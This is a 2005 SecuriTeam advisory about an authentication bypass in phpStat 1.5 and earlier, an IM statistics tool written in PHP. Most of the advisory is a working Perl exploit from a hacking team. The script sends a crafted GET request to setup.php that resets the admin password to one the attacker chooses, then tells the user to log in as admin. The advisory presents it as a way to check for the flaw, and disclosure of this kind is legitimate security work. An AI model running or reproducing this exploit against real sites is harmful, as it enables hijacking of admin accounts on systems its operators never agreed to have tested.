[EXPL] phpStat Authentication Bypass Vulnerability (Exploit, Setup.PHP)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/31/05

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Date: 31 May 2005 17:13:25 +0200

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      phpStat Authentication Bypass Vulnerability (Exploit, Setup.PHP)
    ------------------------------------------------------------------------

    SUMMARY

     <http://phpstat.sourceforge.net/journal/> phpStat is an "IM statistics
    generator, made using PHP. Along basic statistics it also organizes
    conversations for future access by their rightful owners."

    phpStat is vulnerable to an authentication bypass vulnerability, the
    following exploit allows you to verify whether your system is vulnerable
    to the vulnerability or not.

    DETAILS

    Vulnerable Systems:
     * phpStat version 1.5 and prior

    Exploit:
    #!/usr/bin/perl
    ###################################
    #T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
    ###################################
    # EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability
    #
    #Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v )
    #E-Mail : Alpha_Programmer@Yahoo.com
    #
    #This Xpl Change Admin's Pass in This Portal !!
    #Discovered by: SoulBlack
    #
    #Vulnerable Version : phpStat 1.5
    #
    ###################################
    # Gr33tz To => mh_p0rtal , Oil_karchack , Str0ke & AlphaST.Com
    #
    # So Iranian Hacking & Security Teams :
    #
    # Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT
    ###################################

    use IO::Socket;

    if (@ARGV < 3)
    {
     print "\n=====================\n";
     print " \n -- Exploit By Alpha Programmer --\n\n";
     print " Trap-Set UnderGrounD Hacking Team \n\n";
     print " Usage: <T4rg3t> <DIR> <Password>\n\n";
     print "=====================\n\n";
     print "Examples:\n\n";
     print " phpStat.pl www.Site.com /phpstat/ 12345\n";
     exit();
    }

    my $host = $ARGV[0];
    my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "C4nn0t C0nn3ct to $host" }

    print "C0nn3cted\n";

    $http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2]
    HTTP/1.0\n";
    $http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2;
    NET CLR 1.1.4322)\n";
    $http .= "Host: $host\n\n\n\n";

    print "[+]Sending H3ll Packet ...\n";
    print $remote $http;
    sleep(1);
    print "[+]Wait For Authentication Bypass ...\n";
    sleep(100);
    while (<$remote>)
    {
    }
    print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:\n\n";
    print "[+]User: admin\n";
    print "[+]Pass: $ARGV[2]";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:Alpha_Programmer@Yahoo.com>
    A l p h a _ P r o g r a m m e r ( Sirus-v ).

    ========================================

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